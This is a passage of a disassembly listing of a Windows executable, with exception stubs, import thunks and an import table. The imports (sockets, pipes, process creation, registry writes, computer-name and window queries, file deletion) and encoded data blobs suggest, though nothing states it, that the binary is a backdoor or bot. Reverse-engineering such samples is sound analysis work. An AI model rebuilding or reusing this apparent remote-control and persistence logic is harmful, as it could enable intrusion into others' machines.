loc_416E08:				; CODE XREF: .data:00416FE2j
		jmp	dword_417124
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_414EF4+5p
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_416E10	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416E30	proc near		; CODE XREF: sub_4048EF+4Ep
					; sub_4048EF+2CFp ...
		jmp	dword_4171F8
sub_416E30	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416E40	proc near		; CODE XREF: sub_414EF4+EAp
					; sub_414EF4+1E2p ...

arg_0		= dword	ptr  4

		push	0
		push	[esp+4+arg_0]
		call	sub_416EAF
		retn	4
sub_416E40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416E4E	proc near		; CODE XREF: sub_414EF4+134p
					; sub_414EF4+2D8p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		and	[ebp+var_4], 0
		test	eax, eax
		jz	short loc_416EA0
		mov	ecx, [eax]
		lea	edx, [ebp+arg_4]
		push	edx
		push	offset dword_41DDD0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jl	short loc_416EA0
		mov	eax, [ebp+arg_4]
		push	esi
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+8]
		test	esi, esi
		pop	esi
		jnz	short loc_416EA0
		lea	eax, [ebp+var_4]
		push	eax
		push	0
		call	dword_4171C8
		test	eax, eax
		jz	short loc_416EA0
		and	[ebp+var_4], 0

loc_416EA0:				; CODE XREF: sub_416E4E+Dj
					; sub_416E4E+1Fj ...
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_416EAF
		leave
		retn	0Ch
sub_416E4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EAF	proc near		; CODE XREF: sub_416E40+6p
					; sub_416E4E+58p

var_10		= byte ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	0
		lea	ecx, [ebp+var_10]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416ED3
		lea	eax, [ebp+var_10]
		push	offset dword_4173B8
		push	eax
		call	sub_416FA2	; _CxxThrowException
sub_416EAF	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416ED3	proc near		; CODE XREF: sub_416EAF+11p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		and	dword ptr [esi+0Ch], 0
		mov	[esi+4], eax
		mov	eax, [esp+4+arg_4]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_416EFF
		cmp	[esp+4+arg_8], 0
		jz	short loc_416EFF
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_416EFF:				; CODE XREF: sub_416ED3+1Dj
					; sub_416ED3+24j
		mov	eax, esi
		pop	esi
		retn	0Ch
sub_416ED3	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F05	proc near		; DATA XREF: .data:off_4172B4o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416F4E
		test	[esp+4+arg_0], 1
		jz	short loc_416F1B
		push	esi
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx

loc_416F1B:				; CODE XREF: sub_416F05+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F05	endp

; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		push	esi
		mov	esi, ecx
		mov	ecx, [eax+4]
		mov	[esi+4], ecx
		mov	eax, [eax+8]
		and	dword ptr [esi+0Ch], 0
		mov	[esi+8], eax
		test	eax, eax
		mov	dword ptr [esi], offset	off_4172B4
		jz	short loc_416F48
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+4]

loc_416F48:				; CODE XREF: .data:00416F40j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_416F4E	proc near		; CODE XREF: sub_416F05+3p
					; DATA XREF: .data:004173BCo
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	dword ptr [esi], offset	off_4172B4
		test	eax, eax
		jz	short loc_416F64
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]

loc_416F64:				; CODE XREF: sub_416F4E+Ej
		mov	esi, [esi+0Ch]
		test	esi, esi
		jz	short loc_416F72
		push	esi
		call	dword_4170B0	; LocalFree

loc_416F72:				; CODE XREF: sub_416F4E+1Bj
		pop	esi
		retn
sub_416F4E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F74	proc near		; CODE XREF: sub_401244+120p
					; sub_406E8E+DAp ...
		jmp	dword_4171C0
sub_416F74	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F7A	proc near		; CODE XREF: sub_4020C2+113p
					; sub_4038BA+22Fp ...
		jmp	dword_417114
sub_416F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416F80	proc near		; CODE XREF: sub_402A32+CCp
					; sub_402A32+2B9p ...
		jmp	dword_417118
sub_416F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_416F86	proc near		; DATA XREF: .data:off_4172BCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_416FA8	; ??1type_info@@UAE@XZ
		test	[esp+4+arg_0], 1
		jz	short loc_416F9C
		push	esi
		call	sub_416DCC	; ??3@YAXPAX@Z
		pop	ecx

loc_416F9C:				; CODE XREF: sub_416F86+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416F86	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA2	proc near		; CODE XREF: sub_416EAF+1Fp
		jmp	dword_41711C
sub_416FA2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416FA8	proc near		; CODE XREF: sub_416F86+3p
		jmp	dword_417120
sub_416FA8	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp-0A00h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------

loc_416FBC:				; DATA XREF: .data:0041737Co
		lea	ecx, [ebp-10h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0DF8h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-0E14h]
		call	sub_415B3F
		retn
; ---------------------------------------------------------------------------

loc_416FDD:				; DATA XREF: sub_414EF4o
		mov	eax, offset dword_417350
		jmp	loc_416E08
; ---------------------------------------------------------------------------
		align 4
		dd 6 dup(0)
dword_417000	dd 77DD7F3Eh		; DATA XREF: sub_401000+C6r
dword_417004	dd 77DD5C55h		; DATA XREF: sub_401000+11Ar
					; sub_406C51+96r
dword_417008	dd 77DD22EAh		; DATA XREF: sub_401000+65r
					; sub_406722+184r ...
dword_41700C	dd 77DD23D7h		; DATA XREF: sub_406722+1C3r
					; sub_4083AD+2DDr ...
dword_417010	dd 77DD59F0h		; DATA XREF: sub_406C51+88r
dword_417014	dd 77DD590Bh		; DATA XREF: sub_406C51+26r
dword_417018	dd 77DDACABh		; DATA XREF: sub_4083AD+E6r
dword_41701C	dd 77DE042Eh		; DATA XREF: sub_4102AE+62r
dword_417020	dd 77DE03D2h		; DATA XREF: sub_4102AE+27r
					; sub_4102AE+37r ...
dword_417024	dd 77DDEBA2h		; DATA XREF: sub_4102AE+17r
dword_417028	dd 77DD189Ah		; DATA XREF: sub_401000+136r
					; sub_406722+2F9r ...
		align 10h
dword_417030	dd 77E7C657h		; DATA XREF: sub_4083AD+11Er
					; sub_40D043+20Br ...
dword_417034	dd 77E7513Ch		; DATA XREF: sub_408342+10r
					; sub_408342+4Br
dword_417038	dd 77E705C5h		; DATA XREF: sub_406D47+41r
dword_41703C	dd 77E74672h		; DATA XREF: sub_406C51+6Fr
					; sub_414EF4+8EEr
dword_417040	dd 77E705B0h		; DATA XREF: sub_406B81+15r
dword_417044	dd 77E7A837h		; DATA XREF: sub_406B81+47r
					; sub_406B81+95r ...
dword_417048	dd 77E73CE2h		; DATA XREF: sub_406B81+6Er
dword_41704C	dd 77E7011Ah		; DATA XREF: sub_406B81+BCr
dword_417050	dd 77E704FCh		; DATA XREF: sub_406A23+15r
					; sub_406AE7+15r ...
dword_417054	dd 77E805D8h		; DATA XREF: sub_403BD3+Br
					; sub_403BD3+32r ...
dword_417058	dd 77E7A5FDh		; DATA XREF: sub_403BD3+22r
					; sub_403BD3+4Dr ...
dword_41705C	dd 77E75CB5h		; DATA XREF: sub_40332B+227r
					; sub_407148+18Br ...
dword_417060	dd 77E6BD13h		; DATA XREF: sub_402A32+ECr
					; sub_406E8E+1FEr
dword_417064	dd 77F5157Dh		; DATA XREF: sub_402A32+F6r
					; sub_409CB1+CFr ...
dword_417068	dd 77E79D8Ch		; DATA XREF: sub_401D39+22r
					; sub_406D90+D3r
dword_41706C	dd 77E6CBF9h		; DATA XREF: sub_401981+4Fr
dword_417070	dd 77E7727Ah		; DATA XREF: sub_401981+9Er
					; sub_401981+D7r
dword_417074	dd 77E79C90h		; DATA XREF: sub_401981+104r
					; sub_401981+111r
dword_417078	dd 77E65F4Ch		; DATA XREF: sub_4083AD+FAr
dword_41707C	dd 77E61BB8h		; DATA XREF: sub_401981+1C6r
					; sub_406E8E+2A5r
dword_417080	dd 77EB7624h		; DATA XREF: sub_401981+274r
dword_417084	dd 77E7FF65h		; DATA XREF: sub_401981+2B3r
dword_417088	dd 77E78B82h		; DATA XREF: sub_401981+37Br
dword_41708C	dd 77E79F93h		; DATA XREF: sub_401244+F2r
					; sub_40332B+1D0r ...
dword_417090	dd 77E7A099h		; DATA XREF: sub_401244+F9r
					; sub_40332B+1D7r ...
dword_417094	dd 77E706B7h		; DATA XREF: sub_401244+159r
					; sub_406041+193r ...
dword_417098	dd 77E61A54h		; DATA XREF: sub_401244+21Dr
					; sub_406509+91r
dword_41709C	dd 77E61BE6h		; DATA XREF: sub_401244+3C6r
					; sub_401244+4F4r ...
dword_4170A0	dd 77E616B4h		; DATA XREF: sub_401244+439r
					; sub_406643+3Br
dword_4170A4	dd 77E77963h		; DATA XREF: sub_401244+471r
					; sub_401244+4C1r ...
dword_4170A8	dd 77E70396h		; DATA XREF: sub_401146+11r
					; sub_406E8E+22Ar ...
dword_4170AC	dd 77E73628h		; DATA XREF: sub_401146+23r
					; sub_401E38+30r ...
dword_4170B0	dd 77E79A45h		; DATA XREF: sub_416F4E+1Er
dword_4170B4	dd 77E7AC37h		; DATA XREF: sub_40A1A7+106r
dword_4170B8	dd 77E75090h		; DATA XREF: sub_40D74D+87r
dword_4170BC	dd 77E74D76h		; DATA XREF: sub_40D74D+4Ar
dword_4170C0	dd 77E77797h		; DATA XREF: sub_40D74D+33r
dword_4170C4	dd 77E76C1Ah		; DATA XREF: sub_4083AD+33r
dword_4170C8	dd 77E686CCh		; DATA XREF: sub_408E8E+4Br
					; sub_408F2E+134r
dword_4170CC	dd 77E6C0E3h		; DATA XREF: sub_408E8E+1Ar
					; sub_408F2E+7Fr ...
dword_4170D0	dd 77E7751Ah		; DATA XREF: sub_409226:loc_40928Er
					; sub_4092A4:loc_409307r ...
dword_4170D4	dd 77E6D75Bh		; DATA XREF: sub_409226+14r
					; sub_4092A4+14r ...
dword_4170D8	dd 77E802FCh		; DATA XREF: sub_409226+Ar
					; sub_4092A4+Ar ...
dword_4170DC	dd 77E7176Ch		; DATA XREF: sub_4093B6+51r
dword_4170E0	dd 77E75CEBh		; DATA XREF: sub_4098F3+A2r
					; sub_4098F3+1B6r
dword_4170E4	dd 77E79908h		; DATA XREF: sub_409C36+2Er
dword_4170E8	dd 77E80656h		; DATA XREF: sub_401244+D7r
					; sub_406643+19r
dword_4170EC	dd 77F7E21Fh		; DATA XREF: sub_409C6C+6r
dword_4170F0	dd 77E79CE3h		; DATA XREF: sub_401981+118r
dword_4170F4	dd 77E78C17h		; DATA XREF: sub_4167F1+31r
dword_4170F8	dd 77E7C2C4h		; DATA XREF: sub_4167F1+A8r
dword_4170FC	dd 77E73167h		; DATA XREF: sub_414EF4+5AAr
					; sub_414EF4+5BCr ...
dword_417100	dd 77E73BEFh		; DATA XREF: sub_414EF4+9C0r
dword_417104	dd 77E7AC5Eh		; DATA XREF: sub_4148CE+B0r
dword_417108	dd 77E76432h		; DATA XREF: sub_40D871+29Br
					; sub_414EF4+5CEr ...
dword_41710C	dd 77F7E300h		; DATA XREF: sub_409C7A+6r
		dd 0
dword_417114	dd 77C1C055h		; DATA XREF: sub_416F7Ar
dword_417118	dd 77C423F5h		; DATA XREF: sub_416F80r
dword_41711C	dd 77C219F5h		; DATA XREF: sub_416FA2r
dword_417120	dd 77C20C5Bh		; DATA XREF: sub_416FA8r
dword_417124	dd 77C21AD8h		; DATA XREF: .data:loc_416E08r
dword_417128	dd 77C43150h		; DATA XREF: sub_416E02r
dword_41712C	dd 77C41FA0h		; DATA XREF: sub_416B3Ar
dword_417130	dd 77C33FDEh		; DATA XREF: sub_416DFCr
dword_417134	dd 77C33FC1h		; DATA XREF: sub_416DF6r
dword_417138	dd 77C3CE0Ch		; DATA XREF: sub_416DF0r
dword_41713C	dd 77C42D60h		; DATA XREF: sub_416DEAr
dword_417140	dd 77C1C6F3h		; DATA XREF: sub_416DE4r
dword_417144	dd 77C435C0h		; DATA XREF: sub_416DDEr
dword_417148	dd 77C3E5D9h		; DATA XREF: sub_416DD8r
dword_41714C	dd 77C28925h		; DATA XREF: sub_416DD2r
dword_417150	dd 77C28933h		; DATA XREF: sub_416DCCr
dword_417154	dd 77C3CCE7h		; DATA XREF: sub_416DC6r
dword_417158	dd 77C37FEDh		; DATA XREF: sub_416DC0r
dword_41715C	dd 77C33EB0h		; DATA XREF: sub_416DBAr
dword_417160	dd 77C4B940h		; DATA XREF: sub_416CFEr
dword_417164	dd 77C4B120h		; DATA XREF: sub_416CF8r
dword_417168	dd 77C37ADCh		; DATA XREF: sub_416BFCr
dword_41716C	dd 77C2AC58h		; DATA XREF: sub_416BF6r
dword_417170	dd 77C438C0h		; DATA XREF: sub_416BF0r
dword_417174	dd 77C3C93Ch		; DATA XREF: sub_416BAEr
dword_417178	dd 77C43AB0h		; DATA XREF: sub_416BA8r
dword_41717C	dd 77C3E8C0h		; DATA XREF: sub_416BA2r
dword_417180	dd 77C1BE00h		; DATA XREF: sub_416B9Cr
dword_417184	dd 77C3E140h		; DATA XREF: sub_416B96r
dword_417188	dd 77C3DFB5h		; DATA XREF: sub_416B90r
dword_41718C	dd 77C3BF06h		; DATA XREF: sub_416B88r
dword_417190	dd 77C3D8F6h		; DATA XREF: sub_416B82r
dword_417194	dd 77C3E4B9h		; DATA XREF: sub_416B7Cr
dword_417198	dd 77C3E303h		; DATA XREF: sub_416B76r
dword_41719C	dd 77C41FB0h		; DATA XREF: sub_416B70r
dword_4171A0	dd 77C43490h		; DATA XREF: sub_416B6Ar
dword_4171A4	dd 77C46553h		; DATA XREF: sub_416B64r
dword_4171A8	dd 77C3C813h		; DATA XREF: sub_416B5Er
dword_4171AC	dd 77C43900h		; DATA XREF: sub_416B58r
dword_4171B0	dd 77C42E10h		; DATA XREF: sub_416B52r
dword_4171B4	dd 77C2AA6Bh		; DATA XREF: sub_416B4Cr
dword_4171B8	dd 77C2AC46h		; DATA XREF: sub_416B46r
dword_4171BC	dd 77C43710h		; DATA XREF: sub_416B40r
dword_4171C0	dd 77C421A2h		; DATA XREF: sub_416F74r
		align 8
dword_4171C8	dd 7713BC68h		; DATA XREF: sub_416E4E+44r
		align 10h
dword_4171D0	dd 77428B97h		; DATA XREF: sub_401D6E+2Dr
					; sub_402A32+79Br ...
		align 8
dword_4171D8	dd 77D4456Bh		; DATA XREF: sub_40A9CF+121r
dword_4171DC	dd 77D79D1Ch		; DATA XREF: sub_414EF4+76Dr
dword_4171E0	dd 77D4C96Ah		; DATA XREF: sub_406D90+B0r
					; sub_408F2E+1D1r ...
dword_4171E4	dd 77D5C13Ah		; DATA XREF: sub_40A9CF+128r
					; sub_415B60+84r
dword_4171E8	dd 77D4BDCAh		; DATA XREF: sub_40D734+Br
dword_4171EC	dd 77D4702Fh		; DATA XREF: sub_40D74D+6Cr
					; sub_40D74D+7Er
		dd 0
dword_4171F4	dd 71AB3E5Dh		; DATA XREF: sub_404FE7+C5r
					; sub_4050EA+106r ...
dword_4171F8	dd 71AB1B7Bh		; DATA XREF: sub_416E30r
dword_4171FC	dd 71AB868Dh		; DATA XREF: sub_4048EF+11Er
					; sub_4048EF+39Fr
dword_417200	dd 71AB8629h		; DATA XREF: sub_40538D+8r
					; sub_412A3A+178r ...
dword_417204	dd 71AB3F8Dh		; DATA XREF: sub_4046BC+114r
					; sub_4055E5+7Br ...
dword_417208	dd 71AB3ECEh		; DATA XREF: sub_4046BC+129r
					; sub_411DC5+DFr ...
dword_41720C	dd 71AB1AF4h		; DATA XREF: sub_4053BF+Fr
					; sub_40A9CF+1A74r
dword_417210	dd 71ABF628h		; DATA XREF: sub_4044F7+21r
					; sub_4045B2+21r
dword_417214	dd 71AB155Ah		; DATA XREF: sub_404457+1Cr
					; sub_40447B+10r
dword_417218	dd 71AB3C22h		; DATA XREF: sub_40432E+Ar
					; sub_4046BC+CEr ...
dword_41721C	dd 71AB401Ch		; DATA XREF: sub_4038BA+72r
					; sub_40732D+1A8r ...
dword_417220	dd 71ABD755h		; DATA XREF: sub_4038BA+D0r
					; sub_4038BA+171r ...
dword_417224	dd 71AB1740h		; DATA XREF: sub_4038BA+E5r
					; sub_4038BA+186r ...
dword_417228	dd 71ABD850h		; DATA XREF: sub_4038BA+28Dr
dword_41722C	dd 71AB1890h		; DATA XREF: sub_4048EF+265r
					; sub_404E1C+E0r ...
dword_417230	dd 71AB1A6Dh		; DATA XREF: sub_4053B1+6r
					; sub_40A9CF+1A80r ...
dword_417234	dd 71AB350Dh		; DATA XREF: sub_403588+23r
					; sub_403588+4Ar ...
dword_417238	dd 71AB1746h		; DATA XREF: sub_403588+BAr
					; sub_403588+1FEr ...
dword_41723C	dd 71AB2BBFh		; DATA XREF: sub_403588+151r
					; sub_4055E5+F3r ...
dword_417240	dd 71AB157Eh		; DATA XREF: sub_4020C2+B9r
					; sub_40449C+21r ...
dword_417244	dd 71AB12F8h		; DATA XREF: sub_4020C2+1FAr
					; sub_4055E5+DDr ...
dword_417248	dd 71AB5690h		; DATA XREF: sub_401E38+106r
					; sub_4053DC+27r ...
dword_41724C	dd 71AB12A7h		; DATA XREF: sub_401E38+141r
					; sub_4020C2+201r
dword_417250	dd 71AB1ED3h		; DATA XREF: sub_4055E5+7F2r
					; sub_411DC5+372r ...
dword_417254	dd 71AB1836h		; DATA XREF: sub_406E8E+2ABr
					; sub_407148+183r ...
dword_417258	dd 71AB1444h		; DATA XREF: sub_411DC5+2A1r
dword_41725C	dd 71AB14DCh		; DATA XREF: sub_415F69+157r
dword_417260	dd 71AB32CAh		; DATA XREF: sub_415F69+81r
dword_417264	dd 71AB41DAh		; DATA XREF: sub_4167F1+201r
dword_417268	dd 71AB5DE2h		; DATA XREF: sub_4046BC+14Dr
		align 10h
flt_417270	dd 1.0e3		; DATA XREF: sub_401E38+207r
					; sub_401E38+22Fr ...
flt_417274	dd 1.024e3		; DATA XREF: sub_408B30+2A2r
dword_417278	dd 0FFFFFFFFh, 409449h,	40945Fh, 0 ; DATA XREF:	sub_4093B6+5o
dword_417288	dd 0FFFFFFFFh, 409572h,	40958Ah, 0 ; DATA XREF:	sub_4094E6+5o
dword_417298	dd 0FFFFFFFFh, 416AE7h,	416AFDh, 0 ; DATA XREF:	sub_4167F1+5o
		dd offset loc_416AC5
		dd offset loc_416ADB
		dd offset dword_4172F0
off_4172B4	dd offset sub_416F05	; DATA XREF: sub_416ED3+12o
					; .data:00416F3Ao ...
		dd offset dword_417338
off_4172BC	dd offset sub_416F86	; DATA XREF: .data:off_41DDE0o
					; .data:off_41DE00o
off_4172C0	dd offset off_41DDE0	; DATA XREF: .data:004172D8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_4172C0
dword_4172DC	dd 3 dup(0)		; DATA XREF: .data:00417300o
		dd 1, 4172D8h
dword_4172F0	dd 3 dup(0)		; DATA XREF: .data:004172B0o
		dd offset off_41DDE0
		dd offset dword_4172DC+4
		dd 0
off_417308	dd offset off_41DE00	; DATA XREF: .data:00417320o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_417308
		dd 0
		db    0			; DATA XREF: .data:00417348o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 417320h
dword_417338	dd 3 dup(0)		; DATA XREF: .data:004172B8o
		dd offset off_41DE00
		dd offset unk_417328
		align 10h
dword_417350	dd 19930520h, 4, 417370h, 5 dup(0) ; DATA XREF:	.data:loc_416FDDo
		dd 0FFFFFFFFh, 416FB0h,	0
		dd offset loc_416FBC
		dd 1, 416FC5h, 2, 416FD1h, 0
		dd offset off_41DDE0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 10h,	416F21h, 0
dword_4173B0	dd 1, 417390h		; DATA XREF: .data:004173C4o
dword_4173B8	dd 0			; DATA XREF: sub_416EAF+19o
		dd offset sub_416F4E
		dd 0
		dd offset dword_4173B0
		dd 1757Ch, 2 dup(0)
		dd 17876h, 17114h, 1765Ch, 2 dup(0)
		dd 1788Eh, 171F4h, 17498h, 2 dup(0)
		dd 17C70h, 17030h, 17640h, 2 dup(0)
		dd 17CE6h, 171D8h, 17468h, 2 dup(0)
		dd 17DBAh, 17000h, 17638h, 2 dup(0)
		dd 17DD8h, 171D0h, 17630h, 2 dup(0)
		dd 17E3Eh, 171C8h, 0A1h	dup(0)
		dd 74730000h, 79706372h, 0
aStrlen		db 'strlen',0
		align 4
		dd 616D0000h, 636F6C6Ch, 0
aFree		db 'free',0
		align 10h
aMemcpy		db 'memcpy',0
		align 4
		dd 74730000h, 70636E72h, 79h, 69727073h, 66746Eh, 6C630000h
		dd 6B636Fh, 656D0000h, 7465736Dh, 0
aStrcat		db 'strcat',0
		align 4
		dd 74660000h, 6C6C65h, 77660000h, 65746972h, 0
aFclose		db 'fclose',0
		align 4
		dd 6F660000h, 6E6570h, 72660000h, 646165h, 73660000h, 6B6565h
		dd 74610000h, 696Fh, 73730000h,	666E6163h, 0
aStrstr		db 'strstr',0
		align 4
		dd 735F0000h, 6972706Eh, 66746Eh, 74730000h, 6D636E72h
		dd 70h,	6C616572h, 636F6Ch, 78650000h, 7469h, 665F0000h
		dd 6C6F74h, 65630000h, 6C69h, 655F0000h, 70656378h, 61685F74h
		dd 656C646Eh, 3372h, 625F0000h,	6E696765h, 65726874h, 78656461h
		dd 0
aVsprintf	db 'vsprintf',0
		align 4
a??3@yaxpax@z	db '??3@YAXPAX@Z',0
		align 4
a??2@yapaxi@z	db '??2@YAPAXI@Z',0
		align 4
aPrintf		db 'printf',0
		align 4
		dd 74730000h, 706D6372h, 0
aTolower	db 'tolower',0
		dd 656D0000h, 706D636Dh, 0
a_vsnprintf	db '_vsnprintf',0
		align 4
		dd 725F0000h, 6C746Fh, 725F0000h, 72746Fh, 656D0000h, 766F6D6Dh
		dd 65h,	78435F5Fh, 61724678h, 6148656Dh, 656C646Eh, 534D0072h
		dd 54524356h, 6C6C642Eh, 0
aWsaioctl	db 'WSAIoctl',0
		align 2
aWs2_32_dll_0	db 'WS2_32.dll',0
		align 4
aDeletefilea	db 'DeleteFileA',0
		dd 65530000h, 6C694674h, 74744165h, 75626972h, 41736574h
		dd 0
aClosehandle	db 'CloseHandle',0
		dd 65540000h, 6E696D72h, 50657461h, 65636F72h, 7373h, 6C530000h
		dd 706565h, 65520000h, 72506461h, 7365636Fh, 6D654D73h
		dd 79726Fh, 704F0000h, 72506E65h, 7365636Fh, 73h, 4D746547h
		dd 6C75646Fh, 6C694665h, 6D614E65h, 4165h, 65470000h, 646F4D74h
		dd 48656C75h, 6C646E61h, 4165h,	65470000h, 72754374h, 746E6572h
		dd 636F7250h, 49737365h, 64h, 64616552h, 656C6946h, 0
aGetexitcodepro	db 'GetExitCodeProcess',0
		align 4
		dd 65500000h, 614E6B65h, 5064656Dh, 657069h, 72430000h
		dd 65746165h, 636F7250h, 41737365h, 0
aDuplicatehandl	db 'DuplicateHandle',0
		dd 65470000h, 72754374h, 746E6572h, 636F7250h, 737365h
		dd 72430000h, 65746165h, 65706950h, 0
aSearchpatha	db 'SearchPathA',0
		dd 72570000h, 46657469h, 656C69h, 65470000h, 73614C74h
		dd 72724574h, 726Fh, 6F430000h,	69467970h, 41656Ch, 78450000h
		dd 72507469h, 7365636Fh, 73h, 50746547h, 41636F72h, 65726464h
		dd 7373h, 6F4C0000h, 694C6461h,	72617262h, 4179h, 65470000h
		dd 73795374h, 446D6574h, 63657269h, 79726F74h, 41h, 46746553h
		dd 54656C69h, 656D69h, 65470000h, 6C694674h, 6D695465h
		dd 65h,	61657243h, 69466574h, 41656Ch, 65470000h, 6E695774h
		dd 73776F64h, 65726944h, 726F7463h, 4179h, 736C0000h, 656C7274h
		dd 416Eh, 65530000h, 72754374h,	746E6572h, 65726944h, 726F7463h
		dd 4179h, 65470000h, 636F4C74h,	49656C61h, 416F666Eh, 0
aGetversionexa	db 'GetVersionExA',0
		align 4
aGetcomputernam	db 'GetComputerNameA',0
		align 4
aGlobalmemoryst	db 'GlobalMemoryStatus',0
		align 10h
		dd 65470000h, 73694474h, 6572466Bh, 61705365h, 78456563h
		dd 41h,	44746547h, 65766972h, 65707954h, 41h, 54746547h
		dd 436B6369h, 746E756Fh, 0
aQueryperforman	db 'QueryPerformanceFrequency',0
		align 4
aQueryperform_0	db 'QueryPerformanceCounter',0
		dd 73490000h, 43646142h, 5065646Fh, 7274h, 65540000h, 6E696D72h
		dd 54657461h, 61657268h, 64h, 74696E49h, 696C6169h, 7243657Ah
		dd 63697469h, 65536C61h, 6F697463h, 6Eh, 65746E45h, 69724372h
		dd 61636974h, 6365536Ch, 6E6F6974h, 0
aLeavecriticals	db 'LeaveCriticalSection',0
		align 4
aCreatethread	db 'CreateThread',0
		align 4
aUnmapviewoffil	db 'UnmapViewOfFile',0
		dd 614D0000h, 65695670h, 46664F77h, 656C69h, 72430000h
		dd 65746165h, 656C6946h, 7070614Dh, 41676E69h, 0
aLstrcmpa	db 'lstrcmpA',0
		align 10h
aGetenvironment	db 'GetEnvironmentVariableA',0
		dd 736C0000h, 70637274h, 416E79h, 736C0000h, 70637274h
		dd 4179h, 72430000h, 65746165h,	6574754Dh, 4178h, 65530000h
		dd 72724574h, 6F4D726Fh, 6564h,	4E52454Bh, 32334C45h, 6C6C642Eh
		dd 0
aWsprintfa	db 'wsprintfA',0
		align 4
aGetwindowtexta	db 'GetWindowTextA',0
		align 4
		dd 65470000h, 726F4674h, 6F726765h, 57646E75h, 6F646E69h
		dd 77h,	646E6946h, 646E6957h, 41776Fh, 65530000h, 654D646Eh
		dd 67617373h, 4165h, 73490000h,	72616843h, 68706C41h, 6D754E61h
		dd 63697265h, 53550041h, 32335245h, 6C6C642Eh, 0
aRegclosekey	db 'RegCloseKey',0
		dd 65520000h, 6C654467h, 56657465h, 65756C61h, 41h, 45676552h
		dd 566D756Eh, 65756C61h, 41h, 4F676552h, 4B6E6570h, 78457965h
		dd 41h,	51676552h, 79726575h, 756C6156h, 41784565h, 0
aRegsetvalueexa	db 'RegSetValueExA',0
		align 4
		dd 65520000h, 65724367h, 4B657461h, 78457965h, 41h, 55746547h
		dd 4E726573h, 41656D61h, 0
aCryptreleaseco	db 'CryptReleaseContext',0
		dd 72430000h, 47747079h, 61526E65h, 6D6F646Eh, 0
aCryptacquireco	db 'CryptAcquireContextA',0
		align 2
aAdvapi32_dll	db 'ADVAPI32.dll',0
		align 4
		dd 68530000h, 456C6C65h, 75636578h, 416574h, 4C454853h
		dd 2E32334Ch, 6C6C64h, 735F0000h, 6D637274h, 6970h, 695F0000h
		dd 616F74h, 735F0000h, 696E7274h, 706D63h, 435F0000h, 68547878h
		dd 45776F72h, 70656378h, 6E6F6974h, 0
a??1type_info@@	db '??1type_info@@UAE@XZ',0
		align 4
aLocalfree	db 'LocalFree',0
aOleaut32_dll_0	db 'OLEAUT32.dll',0
		align 4
		dd 6Dh dup(0)
off_418000	dd offset dword_418098	; DATA XREF: sub_401000+1Dr
					; sub_401000+2Er
		dd offset dword_41805C
		dd offset dword_418040
		dd offset dword_418014
		dd 0
dword_418014	dd 0E4E4BFB1h, 0FD92B7D8h, 0B6ACE2BDh, 0DEB4A195h, 0DFC5928Ch
					; DATA XREF: .data:0041800Co
		dd 0CAABA9F1h, 0BDB1D394h, 0DD98A78Fh, 0D1C4AABEh, 2 dup(0)
dword_418040	dd 0C4D189B1h, 0DBBC9BEAh, 0B0B7DD94h, 0DE84BA89h, 0FFEB9284h
					; DATA XREF: .data:00418008o
		dd 0BFD1h, 0
